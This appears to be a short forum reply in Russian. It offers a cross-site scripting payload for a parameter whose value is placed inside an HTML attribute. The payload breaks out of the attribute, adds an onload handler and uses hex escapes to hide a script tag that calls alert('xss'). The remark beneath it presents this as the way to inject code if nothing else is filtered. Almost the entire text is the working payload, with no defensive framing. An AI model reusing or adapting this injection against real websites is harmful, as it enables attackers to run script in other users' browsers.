http://3333.ru/" onload="javascript:document.head.outerHTML=\"\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\"" a="

Как я понял, значение подставляется в параметр? Если более ничего не фильтруется то можно к примеру так.